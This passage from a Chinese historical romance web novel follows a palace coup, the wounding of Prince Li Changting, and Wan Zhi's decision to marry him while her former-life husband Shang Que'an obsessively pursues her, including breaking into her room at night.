秦钟:“那你说,是什么?”
“忠君之事,不负所托。”
“好一个忠君之事,听听,尔等可还记得自己是食君之禄的人,圣上未亡,就扶持太子继位,尔等都是奸臣,都该万死不辞。”
不卑不亢,中期十足的老者张口训斥,炽热的言语回荡在众人心头,然而被点名的太子根本无心听他们所言,尤其在即将成功之前,他不能再容许这些人向他扣上弑父罪名。
就在薛瑥甫等人即将要为自己正名之时,秦钟忽然对商榷安喝令,“还不快将他们拿下,圣上已醒,命令尔等速速归降,榷安,还不动手!”
只见场上局面瞬息万变。
太子刚要呵斥,忽地就见身旁薛瑥甫被人一脚踹到在脚下,而另一道人影更快过来将他控制,他不可置信看向对方,“榷安,你,为何……”
商榷安竟是临终叛变,他目眦欲裂。
睇了眼地上同样被控制住的薛瑥甫,商榷安一行动,这当中随行跟着他们过来的禁军竟有大半行动一致,将利刃对准太子等人。
商榷安眼神冰冷而悲悯:“殿下,臣一向与薛宰执不和,你不知道吗?”
太子如何肯信,商榷安背叛他的理由竟是如此,“这不可能,圣人那么对你,你难道不恨他?你……”
“你是为了那个女子?”他似是反应过来,薛瑥甫做过什么,太子同样知情。
更何况商榷安为了一个女子,与历常珽反目成仇,早已不是秘密。
然而在将他推给一旁的禁军束缚起来后,商榷安便已经退到一旁,冷眼和同样被绑起来的薛瑥甫对视。
在那双几乎恨不得啖其血肉的眼神里,商榷安承认,“当年之事,圣人的确亏欠于我,可时至今日,为权利最重要。食君之禄,忠君之事,只要予我权势,我便效忠于谁。”
薛瑥甫:“难道太子许诺给你的不够多?”
商榷安盯着他道:“不够,我要一人之下,万人之上。”
太子虽好,待他不薄,到底是薛家人,有半个薛家血脉,而商榷安归根究底,他姓李。
他要权利,却不稀罕坐上那张天下之主的位置,那个位置谁都能坐,而为人之臣,却有着改变天下的权势,觉察先机,扭转乾坤,才真正令他感到渴望。
在将寝宫这边解决后,商榷安带人重返东宫,将此次谋反的余孽在眼皮下捉拿收押起来。
而就在此刻,有人抬着伤者从他眼前路过。
看见尸身本该正常,但熟悉的衣角让商榷安余光微顿,“等等。”
他将人叫住,绕到另一旁,去瞧对方的模样,只见数息以前,还气息正常的历常珽,脸色惨白的躺在担架上,而他身上尤其下面部位的衣角,已经染上大量血迹。
气息微弱,生死不知。
商榷安蹙眉凝神,让人召来下属,“这是怎么回事?”
忙完其他事宜赶来的枕戈再飞快扫了眼担架上的历常珽时,将了解到的情况,凑到商榷安身边低声道:“历郡王与甘大人躲开追兵时,遇到了东宫的护卫,两边兵刃相交,甘大人遇刺,历郡王为了帮他挡下一刀,不幸……不幸伤了身子。”
第92章 拒之门外。
京都局势变化多端,城内宵禁依旧未曾解除。
妧枝在写好信的第二日,便派人将信送到郡王府,另一边又请人跑了一趟,去她昨日待过的官驿,找商榷安的人,问车马的消息。
然而这两边给她的回应都像石沉大海,波谲而诡异。
郡王府那边的下人回话道:“郡王入宫去了,已经好几日不曾回来。娘子的信暂且只能留在府里等郡王归家,而今戒严,那边已不能轻易靠近了。”
妧枝是知晓历常珽忙,一听历常珽在宫中没回来过,便觉得不妙。
但郡王府上的管事又说:“日前郡王差人传过消息,他与其他大臣都在一起,暂且没什么要紧,若是有事,他会再派人传话过来。”
还能传讯,就代表人还活着,妧枝心中不安缓和片刻,然而秀眉紧锁,还是放心不下。
她只好关注那日遇袭后的车马,结果派去的下人去了官驿,回来也道:“大娘子,那边的说,那位大人已经不在官驿了,只将咱们府上的车马留在了那,车轱辘也修缮好了,可以将马匹赶回来。至于车夫,也已经将他收殓好了,可差人将他接回去下葬。”
妧枝让人妥善去安排好了,添补了许多金银善款给车夫家中,眉心依旧感觉到炽热发烫,眼皮不住跳动。
她从下人话中感受到了不详,商榷安不在官驿,他的动向打听不到十分神秘,就和历常珽一样,让人对京都城里的局势提心吊胆。
是以后面的日子里,妧枝还是会往外跑一趟,去郡王府打听消息,让人留意历常珽出宫没有。
然而一日两日,她跟他的婚期都过去。
历常珽依旧未能出现。
秋日,天气渐凉。
一大早上,门墙外街吏鸣锣示意,传遍大街小巷。
妧枝和平氏等坐在家中,等下人去外查看,随即就见近来待在府里规矩的下人喜出望外回来道:“主母,大娘子,宵禁解了。”
“近来在附近经常出现的那些骑兵,都不见了。”
“当真?”平氏一下站起来,满脸高兴。
“阿枝,太好了。这是不是太平了?赶紧,可以出去看看了。”
妧枝随同她起身,但也并未当真迈出大门,而是用了梯子,站在墙头观察一番街上的情势。
与她们举动相似的不只一家,街吏也还未走远,妧枝听见有其他人家走出来问:“这位大人,是不是以后那些骑马带刀的大人,都回军营了?”
“去看告示榜,即日起解除宵禁,城里一切无恙,诸位可以安心出门了。”
妧枝闻言一动,接着对平氏道:“阿母,我出门一趟,你在家等我。”
平氏还未来得及反应,妧枝便已经从长梯上爬下去。
她的身影很快消失在门口,同去的还有妧府的下人陪伴着她,平氏见此这才放心。
到了告示榜前,那里已经围了许多更早得到消息的人。
妧枝与下人挤进去,议论声萦绕在耳畔,谈论的不止有今日解除宵禁的事,竟还有宫中的消息……
“太子不孝,意欲逼宫,听说好些大人都被困在宫里出不来。”
“瞧,这上面不是写着,近些时日城中戒严,是有贼子作乱,谋害忠臣吗?”
“可真是骇人听闻,好在已经平息了……”
妧枝看着榜上的告示,几乎与身边人谈论的一样,她眼皮不安地在跳,尤其在看到有臣子被困后,想到多日未能出宫的历常珽,登时心上一紧。
“去郡王府。”
待看完告示,妧枝转身出了人群,朝郡王府的方向走去。
街上果然在得知宵禁解除后恢复了往日的人气,车马比平日多了几番,百姓也不再面露忐忑,左顾右盼,生怕惹上麻烦。
一起都在向着好的局面发展。
等到了历常珽府上,妧枝亲自扣响大门,等了片刻,方等来王府的下人。
来人将门打开,在看到妧枝的那一刻,门房神情顿时有变,甚至手往内收了收,欲盖弥彰地唤道,“妧,妧娘子?”
妧枝:“我今早听闻街吏宣告,解除宵禁了,所以来瞧瞧。郡王可曾回来了?”
王府下人瞬间面露难色。
妧枝敏锐觉察出异处,直截了当问:“怎么,郡王还在宫中,没出来吗?”
此时,王府正堂忽地传来说话声,人影和脚步都朝门口的方向走来。
其中一道低沉的嗓音令她不禁抬头望去。
她在走出来的人当中看到一个不该出现在这的身影,妧枝惊讶到忘了说话,与大夫交谈的商榷安就这般赫然抬眸,一眼觑见了她。
双目对视,妧枝浑身涌现出荒唐的情绪。
她摇了摇头,听见御医道:“大人不必再送了,郡王的情况我等回去后另想方法医治,尽我可能,让他痊愈。”
商榷安:“有劳了。”
妧枝确信这不是眼前错觉,她在震惊中上前,“你为何会在此?常珽出什么事了?”
那御医不认识她,不好告知历常珽此刻情况。
而给人以压迫感的商榷安无声地凝视着妧枝,竟未有一丝幸灾乐祸,而是沉默地与她相对视。
妧枝见得不到答案,干脆朝着她知道的历常珽住处走去。
在看到管事站在附近之时,妧枝问:“郡王可是在房里?”
“妧娘子……”
管事还未答应,就看到女子窈窕的背影离开了这里,而在送御医出府的路上,商榷安将人托付给下人,脚步一转,跟在了妧枝身后步入王府后院。
房门前,顾曲见到妧枝走来,正要吩咐婢女前去煎熬。
后脚便收了回来,想要拦住妧枝,“妧娘子,你,你怎么来了?”
妧枝势要将历常珽的情况了解清楚,于是不顾阻拦站在了历常珽的房门前,她语气还似平常一样,轻缓舒柔,“常珽,你在吗?我是阿枝,来看看你。”
顾曲张了张嘴,在看到了从妧枝身后的路上,又回到院子里的商榷安后,在他的示意下,默了下来。
“常珽?”妧枝忍不住推开门,她已做好了最坏的打算。
然而走进去,在屋中瞧见躺在榻上的历常珽后,妧枝还是眼皮一跳。
本该明亮的屋中,窗门紧闭,不露一丝光亮,略显得阴暗,而床幔亦都被放下来,只可窥见榻上躺着的一道身躯。
妧枝怀揣着忐忑的心情,拉开床幔,小心探视进去,看到了唇色苍白,面上没有一点血色历常珽躺在那里,她几乎难以置信,甚至不敢发出声打扰,身形一晃,被小心跟来的顾曲眼疾手快扶了一把。
顾曲压低声音道:“妧娘子,郡王还活着。”
妧枝充满惶然而难安的眼神不断闪烁,透着一丝期望,等待答案。
然而,在远离了床榻旁时,妧枝被扶着坐在椅子上,听顾曲说:“那日自郡王进宫后,属下也没了他的消息,后来才知宫中生变,太子囚禁了许多臣子,逼迫他们屈服,顺从于他。”
“后来大臣们一起逃了出来,郡王和甘大人遇到了太子的追兵,二人相继受了伤,而郡王为了保护甘大人,替他挡下一刀,受了重伤……是商,商大人派人御医为两位大人止血,将人护送回郡王府。”
窗前可以窥见庭院里略显沉默伫立的身影,商榷安朝着妧枝的方向对她看来,他看到她的脸,在房中显得忧郁而苍白,眼神里的伤浓得化不开,摇摇欲坠,如同碎掉一般。
……
此次风波退去,京都风雨化为宁静。
在太子等人被擒后,百姓都知朝堂之上,圣人虽恢复清醒,有所缓和,然而还是难以支撑到上朝,于是只有在清醒时议事,其余时候都由新继任的宰执代为处理。
历常珽此次护驾有功,亦少不得加官进爵和赏赐,但是在郡王府内,无人去提这份荣耀。
上空仿佛有乌云笼罩,明明天朗气清,却让府内上下都显得闷闷不乐。
御医在为历常珽把脉诊治后,开了新的调养方子,“郡王好生歇息,再过月余,身体上的伤便可恢复,这几日亦可下榻走动。”
“多谢御医为我家郡王费心,有劳了。”顾曲送御医出房门。
正好这时,从另一个屋檐下,一个女子端着药汤从不远处走来,身后还有婢女跟随。
只是到了屋前,顾曲顾不得再送御医,而是主动上前接过女子手中的汤药,道:“妧娘子,还是我来吧。”
说着顾曲将汤药送了进去,而房门虽还开着,眼前的女子却站立在房门外,像是被拒绝入内,只能这般静静等在门外。
妧枝发觉有人在看自己,侧目过去,发现是常来王府看病的御医,于是微微向对方点了点头,却见对方颇有些惋惜地看着她,摇了摇头,然后从此处和下人一起离开。
自从锦瀚郡王伤到要处,这位妧娘子就在这王府里住下了,日夜照顾。
可是这对锦瀚郡王来说,怕是毕生之痛,难以承受,以至于连带着曾经情投意合过的未婚妻,都开始生疏。
御医走后,妧枝笑容渐淡,直至抹平,目光忧伤地看向不能踏入的房内。
而在她身后,与御医错身而过,从外面的进来的另一道人影,正凝视着她,将这些时日妧枝守在屋外的身姿纳入眼底。
第93章 做夫妻。
商榷安朝着妧枝走来,在风平浪静过后,只要妧枝在郡王府一日,商榷安每日都会来此报到一回。
他不顾他人眼色,甚至妧枝的抗拒,也要接近她,“天凉了,记得多穿衣裳,少碰凉水。”
他捞起妧枝暴露在外,撸起衣袖的手腕,像结冰一样。
商榷安皱眉,妧枝一下便将他甩开,退开半步不让商榷安靠近。
她亲自为历常珽熬了药,在伙房忙碌,所以衣裳穿得轻简,看上去极为单薄,而手也的确因凉风所致,肌肤温凉。
这也是她体质向来如此,一受冷便会变得体寒。
被商榷安碰过的手腕仿佛还有滚烫的余温,看在他救了历常珽将其平安送回郡王府的份上,妧枝对他并没有恶言相向,但还是不冷不热。
“不劳你费心。”
妧枝看向屋子里,不希望她跟商榷安的动静被里面发现,如今历常珽出事,妧枝根本不可能当着他的面,和其他男子勾勾搭搭。
尤其商榷安。
他太理所当然,郡王府想来就来,想走就走,然而这一切,苏醒过来的历常珽竟未表现出任何不满。
妧枝:“你不应该再来这里,这是他人府上,若是没什么事,请你出去。”
商榷安觑着妧枝,余光同样瞥着屋内,知道她在意担心什么。
在历常珽受伤以后,妧枝就搬来府上伺候他,如今未婚夫就在里面,他这个外人和旁人未婚妻在一块,岂不是狼子野心,昭然若揭?
也无怪妧枝视他如洪水猛兽,不想他靠近。
“我只是来看看你。”商榷安:“并未想过做些什么。”
妧枝对他的说法不置一词,“没有什么好看的,我在这不受一丝委屈和欺负,大可不必为我费心思。”
对面油盐不进,拒之千里。
商榷安少有解释,得到这般反应,也不再言语,他平日来此就只为见妧枝一面,如今目的达成,也不继续骚扰她,而是陪她站在一旁等待着。
像这样不做其他的事,商榷安这般做法不止一次。
在他光明正大登门后,哪怕无人理会他,只要妧枝所在的地方,商榷安都会安静地待在一旁自处。
每日郡王府里的下人都会看到这般场景,妧娘子对这位商大人是万分不会理会的,实在无奈之下才会赶人。
而守着她的商大人总会在不远处单独待着,既不妨碍其他,也不与除妧娘子以外的交谈。
妧枝见赶不走商榷安,只得暂时先回屋子,换身衣服暖和暖和身子。
这样可以避开他一会儿,见不到她,对方自然会离开。
而历常珽那,还有下属在守着,一时间也用不上她。
妧枝转身便走,商榷安并没有再去她跟前碍眼跟上,他目视着她的背影在走廊尽头消失,被树影遮挡去向,随后将目光落到历常珽所在房屋里。
他走了进去。
历常珽自受伤以来,恢复意识后便如变了个人,他不肯轻易下榻,更不愿走出这座房门,面对妧枝。
如今他自觉已是废人,于是连朝堂都不上了。
商榷安一进屋,看到的就是历常珽喝完药,透过窗悄然窥探妧枝刚才离去的方向,而他的下属则在旁收拾桌子。
见到商榷安来,讶然道:“宰执大人。”
历常珽收回目光,在看到商榷安的那一刻,面容多了一丝扭曲的抽动,漠然看着他,“你是来看我笑话的?”
室内一静,顾曲不敢动弹。
而商榷安立在原地,负手而立,他盯着气色看上去恢复了许多,却还是颇为虚弱的历常珽,“我来是有话想对你说。”
“你想说什么。”似有所觉,历常珽撇开目光,不肯正面以对。
商榷安:“没有人对不住你,别再那么对她。”
这个“她”不由分说,彼此心知肚明。
历常珽对刚才外面的举动听得一清二楚,商榷安的纠缠不舍,妧枝的避之不及,他面露一丝苦笑,“如今,我又有什么资格让她这么死心塌地?”
“我落得这般下场,你该庆幸才是。当初我劝你对她好些,放过她,你执迷不悟,现在倒来劝我了……可笑。”
商榷安:“你该知晓,若不是为了她,追兵到时,你绝无活下来的机会。”
那日情势相当凶险。
甘贯轩不服东宫近卫的劝说,宁死不降,他们区区不过两人,即便会些拳脚功夫,也难抵对方人多势众,且武艺更加高强。
也就是危急时刻,另一伙杀进东宫的禁军遇见他们,才在历常珽和甘贯轩危在旦夕那一刻将其救下,挽回一条性命。
否则今日,历常珽已不是重伤的程度,而是绝无性命还能在此刻说话。
更不可能眼睁睁看着妧枝魂不守舍,不离不弃也要照看他。
历常珽自是明白其中道理,他苦笑之后,抬头面对商榷安,多了几分锋利,“是,所以时至今日,敢问宰执大人,你可有要求趁机向我提?”
他一个废人,商榷安大可趁机横刀夺爱,更可以强势命令要求他不得接近妧枝,任意讥嘲奚落。
但商榷安只冷冷看着他,道:“我知你所想,我的确也想那样。但妧枝一心扑在你身上,是你说过,她想要安宁。”
妧枝的安宁,商榷安暂且不打算破坏。
到今日,她看到他除了一如既往地冷淡,却少了些许憎恶,这是商榷安觉得这般做唯一得到的算好的结果。
他便默认了这种方式,一直忍耐至今。
商榷安:“若你后悔了,这辈子便打算就一直这样,那就尽管那么对她。”
历常珽可以将浑身戾气都发泄在妧枝身上,而一个人永不可能永无止境容忍下去,商榷安等得起,等妧枝回心转意那一天。
在商榷安冰冷的忠告中,历常珽却罕见沉默以对,一直到对方出了房门,他都没有再说一句话。
待到妧枝过来时,商榷安已经离开了郡王府。
但他留下的东西还在这里,是些很不值钱的玩意,名贵酒楼的点心,和登鹊楼里散发芬芳的脂膏。
妧枝看了一眼,就让婢女拿下去和同伴分了,她是不会收受这些勉强称之为心意的东西的。
换了衣裳,妧枝比先前暖和许多,肤色也回暖了。
她走到房门前,没有进去,而是在门口试探道:“常珽,药喝完了吗?屋里可有需要我帮忙收拾的。”
她等待回应,实在想进去看看历常珽情况。
从他醒来以后,妧枝就很少能和他面对面,都是中间隔着下人传话才能听见他的回应。
今日妧枝也不抱希望,但她不急,也有耐心等历常珽心情缓和后,多试着与他搭话。
想来他应该就不会那么抗拒见她了。
屋中出现动静,只见顾曲收拾了残局端着汤碗从里面出来,朝妧枝恭谦点头,神情有几分复杂,道:“妧娘子,郡王……请您进去。”
妧枝诧异,更有一丝惊喜,但她按捺住心头悸动,面带一丝温婉柔情的微笑进了屋。
意外的是,历常珽并非躺在榻上,而是起了身,站着等她。
他衣着整洁,除了重伤过后,缺失了些血色的面孔,瞧着虚弱,似乎并没什么变化。
妧枝一进来,历常珽就瞧见她了,隔了数日,从宫变到身受重伤,恢复至今,这是历常珽今日第一次正脸面对妧枝。
她很小心,看得出待他心思体贴,脚步轻轻,走的也慢。
从他出事,妧枝好似瘦了一圈,更加清冷单薄,惹人娇怜。
只是相对视时,二人从前柔情蜜意的相处,如同已恍如隔世。
妧枝却未感觉出生疏,只想着历常珽受过伤,要熨帖于他,“常珽。”
她柔声且轻缓地唤着他的名字,历常珽声音微微沙哑,“阿枝。”
有了回应,妧枝陡然高兴许多,她担心历常珽因此和她疏远,而妧枝更不知该如何安慰他。
“常珽。”她小声道,走到历常珽身边。
然而,历常珽竟往一旁退了一步。
妧枝有所察觉,微微失神,随即打量观察他的神色。
触及那双明亮的美目,历常珽人生灰暗的一角仿佛被发现了,他失态道:“别……别这么看我,我,我如今很不好。”
他背过身去,像是再难以面对她了。
忽而,他感觉背上一热,一道娇躯轻轻贴上来,妧枝主动靠近过来,她若无其事,如同不知道历常珽怎么了,却又了如指掌说:“常珽,阿母近日问我们,是不是该把延误的婚事给办了?”
“我答应她,仪式从简,就在近期。你说好不好?”
历常珽听着那柔软的嗓音,游离的神思一怔,竟是不敢相信,“你……你不介意?”
“阿枝,我如今,是个废人了。今后亦都不能……不,什么都给不了你。”
他艰难说完这些话,比他想象地更加温柔,妧枝似是把额头贴在了历常珽的背上,她道:“你已经给了我许多了,常珽,今生若不是有你,阿枝的心宛若枯木,是一方残缺,并不完整。”
“常珽,我想和你此生都在一起,做夫妻。”
……
房门外,去而复返的商榷安立在屋檐下,恰巧听着屋内的温柔言语,人似木石,许久未能反应过来。
第94章 夜深到访。
为了出嫁,妧枝从郡王府回到妧府。
婚仪一切从简,她跟历常珽的婚期因朝廷动荡而耽误,现在局势稳定下来,也就不像日前那样,什么都要精细,也不需要大办。
平氏为此也很同意。
妧枝不在家中的时候,她偷偷去了寺里,找大师算了一卦,实在是长女婚事太多波折,平氏想算一算,这次还会不会有波澜。
好在,卦象显示,一切稳妥,属于中上之签,不是大凶也没有大吉。
妧枝在家中待嫁,该忙的都已经忙完了,而今她清空思绪,只一心为今后为人妇的日子做准备。
入了夜,洗净了身子,妧枝独自待在卧房里,等着将头发晾干了准备入睡。
忽地,门被敲了敲。
“谁?”妧枝手中捏着书,侧身躺在卧榻处,桌上还摆着一盘果脯解馋。
她看向屋外,房门处站着一道影子,开口说:“大娘子,主母让伙房煮了些蜜糖水,已经放凉了,让我给你送来。”
“进来。”
婢女依言推开门,进入卧房内。
妧枝目光还在书上,未曾挪开,她身躯的弧度像延绵的山峦一般,吸引着人的视线。
纤细皓腕,丰腴腰臀,一个女子最韵味标致的姿态被展现的淋漓尽致。
她不受影响的将书翻页,“放下吧,我待会喝。你也不用守着了,明早再收拾。”
天已经黑了,妧枝亦差不多快入寝了,婢女放下蜜糖水,随后在妧枝吩咐中,从她房里又退了出去。
屋内静悄悄的,除了妧枝,并无别人。
当门再度推开时,那轻微的响动并未引起她的注意,等到了她的卧榻旁,妧枝已经换了个姿势,她趴着,即使听见了脚步声,却未曾立马抬头。
而是以为又是婢女进来了,她道:“什么事啊,菘羽。又忘了什么东西吗?”
婢女没有回话,妧枝适才感觉不对劲,她疑惑地回头,腰身拧到一个卷翘而曼妙的弧度,她不知此刻模样在他人眼中何其遐想。
只知道目光触及高大的伫立在卧榻旁的人影时,当即一惊,神出鬼没的商榷安就那么直勾勾地凝视着她。
妧枝捧着书,如临大敌,“你是怎么进来的?”
她周身没有别的位置,退无可退。
商榷安不可能是光明正大进来的,他身份特殊,妧府里的人都见过他,怎么可能轻易放他单独进来?
只有他另辟蹊径,用了旁门左道的手段。
他没有避讳否认,“我翻了墙,没有人知道我进来找你。”
他还避开了其他人,免得惊动平氏等人,又要引起一场恐慌的风波。
商榷安盯着她,“我有话和你说,说完就走。”
妧枝警惕看他,没有那么容易相信他所说的话。
她待在卧榻上,很想从此处下去,穿上鞋履,离他远些,然而商榷安就挡在她跟前,身材又颀长高大,穿鞋就是向他靠近。
妧枝只有收拢了身姿,失去了之前的放松,“你想说什么?”
商榷安将她所有的小动作都纳入眼中,他没有逼近,而是对着卧榻,与她当面问:“我问你,你与我,当真再无可能?”
他全神都在贯注,不想错过妧枝任何神情任何反应。
哪怕只有一丝犹豫。
但他也没有当下就想得到她的回应,在妧枝即将张口说点什么的时候,商榷安隐隐有所察觉,打断她,“我想你不要武断决定。”
“我此次来,是想向你求和。我知道,你与我上一世纠葛不清,你受了委屈,怪我娶你却不曾好好对待过你。你想不想知晓,上一世我如何看待你,又为什么那么做?”
妧枝触及商榷安的眼神,他很执着,似是在告诉她,哪怕她不想知晓,他也会说。
就如所料般,他酝酿顷刻,沉声道:“我想你知道,若我真的对你无意,即使那天你亲自来草玄堂见我,说上数遍好话,我也不会被打动娶你。我自小被送给商朔做继子,从李氏的族谱里除名,自那以后就不再是李家的人,即便李侀想认回我,我亦对回到濉安王府毫无兴趣。”
“数年来,我在商朔教导下寒窗苦读,你以为我是天之骄子,可我早就不是这京都城里的王孙贵子,你有母亲,我亦有母亲,但我母亲心中早已没有我这个孩子。京中权贵妇人的取舍,那便是只要能保存自身利益,不惹来麻烦,即使放弃一个长子,亦算不得什么。毕竟没有长子,还有次子。”
“我不肯与濉安王府的任何人相认,李侀便以唯真要挟我,使我回归王府。那些年里恰逢我与朝堂上的人争锋四起,而李侀为了扶持我,在背后被不断分担打点,彼此间有利可图,我便没有当即与他撕破脸皮,但也并非全然顺从屈服于他。”
他说这话时目光始终盯着妧枝,眼里似有滚烫热度,“他让我与妧府联姻,我从未见过你,又如何会答应肯娶你?”
妧枝不解:“那你为何又改变主意?”
商榷安默默看着她,仿佛有什么东西不言而喻。
他道:“我与你见过以后,李侀便督促我尽快与你交好,我那时并不反感,但他之所以想我娶你,一是想我服从于他,永远留在濉安王府,以免我独立门户。二是想利用妧嵘,帮李含翎李屹其都进入朝堂,走上官场。以我多年在外被遗弃的经历,你以为他这般安排于我,我会甘心听命?”
“自是不可能,所以那时连带你,我……”
他并不甘心连今后的人生都被李侀掌控。
但他更难以抗拒这个突然冒出来的女子对他的吸引,妧枝有着和他一样,对亲生父母的乖顺。
可承认妧枝对他的吸引,无异于向李侀低头,又一次被他掌控,商榷安如何肯再让幼年的耻辱发生。
他盯着妧枝那张白净秀美的面孔,他告诉自己,待在平氏身边安静老实的妧枝瞧着并没有多么特别,他极力抑制着自己不受控制的冲动,无比漠然且冷静地挪开了眼。
妧枝根本不知当年还有这么多经过,她只知道,商榷安于她,不过是父母之命。
她到了年纪,该嫁人而已,父亲替她相看一门亲事,她去瞧瞧,看看商榷安值不值得她嫁,仅此罢了。
她摇头,并不为商榷安所说这些动摇,“那又如何,即便你当时……你说对我有意,可后来为何还要送来避子汤给我?你毁了我,商榷安……”
说起此事,商榷安并没忘记,他道:“那时你嫁进来,王府里都盼着你尽快与我交合,生下一子,只要有你和子嗣在,李侀便能无所顾忌,拿捏住我,我不想也不愿让我的孩子成为傀儡。”
看着妧枝朝他投来失望的目光,她抚摸着腹部的样子,商榷安心中五味杂陈。
若要问他是否后悔,在他得知这辈子妧枝自己向平氏讨来避孕的方子后,商榷安便知这是她回赠以他的报应。
她不会再孕育他任何子嗣。
“我总是迁怒于你……”他很低沉:“我总想着,你不该是因李侀而出现。”
若是他与妧枝有一段姻缘,那不该是由旁人而牵线,更不要掺杂他人。
“那孩子,并非是我与唯真的,那时她已结识了他人,不小心有了身孕。为了名节,我便想将他带回来养,你那时郁郁寡欢,我以为有个孩子会逗你开心些。”
不曾想,妧枝那时已经积郁成疾了,她呕出一口鲜血,令整个在场的人都为之慌乱。
而商榷安更注视着她,像心口一处被挖空了,莫名的慌。
妧枝更是感觉荒唐的看着他,她摇头,“真是无可救药。我若是想要,自然是要我自己生的,要别人的做什么?”
商榷安此次便应声道:“我知道,这回我再不会那么做了。”
他身躯前倾,妧枝这才反应过来,不知何时商榷安已经俯身到了她跟前,他们距离极尽,近乎贴面。
而商榷安眼中流露出深切的渴望,一直在窥视她的唇,再靠近一些,他就能对她吻上。
妧枝反抗,“你做什么?退开些,别过来。”
商榷安:“我只问你,你与我可还再有机会?阿枝,我绝不会像上辈子那样对你,不要嫁,我求你。”
“我求你——”
他不想惹来妧枝生厌,虽靠得很近,几乎压在妧枝上方,却不敢碰她,唯有紧紧攥住她多余的衣角,宛若抢来一点生机。
妧枝惊愣后,才反应过来商榷安应是听闻她还要和历常珽成亲,这才深夜到访。
她仰视着她头顶上的俊眉修目,从未见过商榷安这副神色,他总是临危不乱,当然待她也是高高在上,可时至今日,竟能亲口对她说出“求她”的话。
她总是想着,这一世不会和他再续前缘,她也是恨他的,若不是他的不坦诚,他们当初不会闹得如此下场。
妧枝蓦然松了口气,她在今生这场对弈中,终究是赢了。
她亲口对商榷安道:“我要嫁给常珽,我不能负了他。”
说罢,她把衣角从商榷安紧拽的手中抽走,并推了一把他的胸膛,让他不受控制一震,拉开彼此距离。
“你走吧,今生就算我们已经了结。走吧,商榷安。”
他能从她眼中看出她的意志坚定,不是说笑,即使历常珽如今成了那副模样,她都不打算离弃。
她可以对除他以外之人深藏怜悯,对他却毫不留情,如此狠心。
商榷安:“若是,我杀了他呢?”
随即,他看到的是妧枝露出幽幽愤怒之火的眼眸,“那就为我也准备一副棺椁,你不妨试试。”
第95章 你不喜欢他。
从妧枝眼中,商榷安确定了她的心意,她心系历常珽,没有分毫动摇。
无论他硬也好,软也好,她做下的决定就不会变了。
商榷安:“何必这般执着。你嫁过去,此生他亦给不了你什么,若不是你,他这辈子也早已化作一捧黄土了。”
妧枝上辈子死的早,他人命运她所知甚少。
听出商榷安话里的不对,她蹙眉问:“你说什么?”
商榷安并不想那么快给她解惑,他凝视打量妧枝片刻,对面前的软玉生香心生渴望,他一点都不希望眼前女子归属旁人,她上上下下里里外外都该被他占有才对。
但在妧枝不悦地察觉到他目光时,商榷安道:“上一世,你走后不久,宫中也生变了,太子谋反,你那位常珽在圣上身边,为他挡了一刀,当场毙命。这辈子他能留下一条性命,已是不幸中的万幸。”
妧枝斟酌他说的话几分真意,然而她从前与历常珽止步于雪中送炭,对他的前途并未留意,再去追究真假也没有意义。
宫变既然发生,历常珽又是臣子,首当其冲要在危险之际保护圣上,商榷安所言也非并无可能。
话已说清,妧枝指着门口,“出去,否则我叫人了。”
这般威胁实则对商榷安没什么用,他屡次登门,次次都让人只有惊没有喜,即使妧家的下人都来了,又能如何,依然劝不走他。
但这次妧枝不打算放任他乱来,若商榷安还不走,她便要行赏,让下人给他些厉害尝尝。
打出妧府就是了。
可惜商榷安在争辩过后,无论如何都求不到妧枝回心转意。
他便这次依了妧枝的话,缓缓走到门口,“我不会放弃的。”
妧枝:“你想做什么?商唯真呢,你不打算管她了?”
商榷安:“为何还要提她?我当初拒绝这门亲事,只是不想再像上一世那样让悲剧重现,以为与你避开就能扭转乾坤,试过之后……待唯真始终没有那丝与你在一起时的心动。”
妧枝用怀疑的目光看他。
商榷安神色认真:“京都有变,我将她先安置在从前田庄了,等她寻觅到良人,就会送她出嫁。”
妧枝如今知晓孩子并不是商榷安的,对商唯真芥蒂已消,却并不关心她今后如何。
她冷淡道:“我知道了。你怎么还不走?”
都这般坦诚以待了,妧枝还不心软,未施予他好脸色,商榷安默然无声站定片刻,随即拉开房门从此处离开。
妧枝担心他是作假,离开卧榻,将门窗都检查一遍,又上了锁,这才靠在茶桌旁松了口气。
今夜商榷安看她的眼神,透着欲望和侵蚀,与在他私宅时没什么区别。
也不知到底该如何才能让他死心,明白世上没有后悔药可吃。
白日妧枝并未告诉家里,昨夜商榷安来过。
她想已经说的很清楚,商榷安应当不会再来了,但到了夜里,以防万一,妧枝还是将门窗锁上,让婢女早早去歇息。
这些锁,只有等她翌日起了才会打开。
奈何,妧枝还是听见了门窗锁动的声响。
今夜较早,深秋凉意更重,屋内的香炉已经熄灭,妧枝如昨日一样在卧榻处歇息,读书着了迷,直到房门处出现细微动静。
许是发现门锁打不开,便又去试了窗户边的,一样被关的十分牢固。
妧枝被惊醒,观察着对方举动,看着外面人影将每一处都试了一试,最后如同无计可施,站在门外叫她,“开门,阿枝。”
妧枝闷不吭声,她知道商榷安能耐,可她这次请了锁匠,配了十分难解的锁。
没有钥匙,商榷安根本进不来。
“你来做什么,还不快回去。”妧枝不想惊动旁人,唯有在商榷安再次叫她后冷声驱赶。
修长身形出现在离妧枝卧榻最近的窗边,隔着窗纱只能瞧见影子,“开门,你不开门,我就不会走。”
“无赖。”妧枝:“注意你的身份,你我无名无分,为何还要夜闯我闺房?”
商榷安在外道:“那我白日里来,你总是要见到我的。”
妧枝无论昼夜都不想见他,“你休想。”
该说的都与他说了,商榷安不肯听从,妧枝也别无办法,好在她提前有做准备,任由商榷安在屋外如何恳求劝解,妧枝都不为所动。
她干脆继续看起手中的书,左右屋内都上了锁,商榷安定进不来。
哪怕听见对方依旧不肯懈怠地尝试,妧枝都充耳未闻,渐渐她看入了神,心思也不在留心外面。
而当她感觉到异样的目光仿若凝成实质,出现在她身上,一切已经晚了。
一声锁被撬开的动静并未引起当时分心的她的注意,而商榷安对这些下九流之手段轻车熟路。
他见过锁匠开锁,且他们还告诉过他想要解开并不难,商榷安对有用的技巧都愿意尝试,他有天资且年少就聪慧,这些巧技并不难。
他试探开门,在外面待了许久,不过是为了让妧枝放松防备。
他总是记得她在闺房里,没有外人打扰时独处安静的模样,就和曾经嫁给他后,在濉安王府里他们的房中一样,静谧而温柔的做着他的妻子,曼妙的身躯总是若有似无地勾着他的视线。
他在外当差,上朝堂,看见别的女子,亦总会想起她。
她的身影在他脑海无处不在,只是嫁给他便是如此,商榷安不知道若是一开始就与妧枝情投意合,他会昏头成什么样。
他可还会有雄心壮志,国家大事?
不,他只会关在屋里整日拉着她媾合。
妧枝震惊且不可置信商榷安竟然能破开她请锁匠造的锁,“你怎么进来的?”
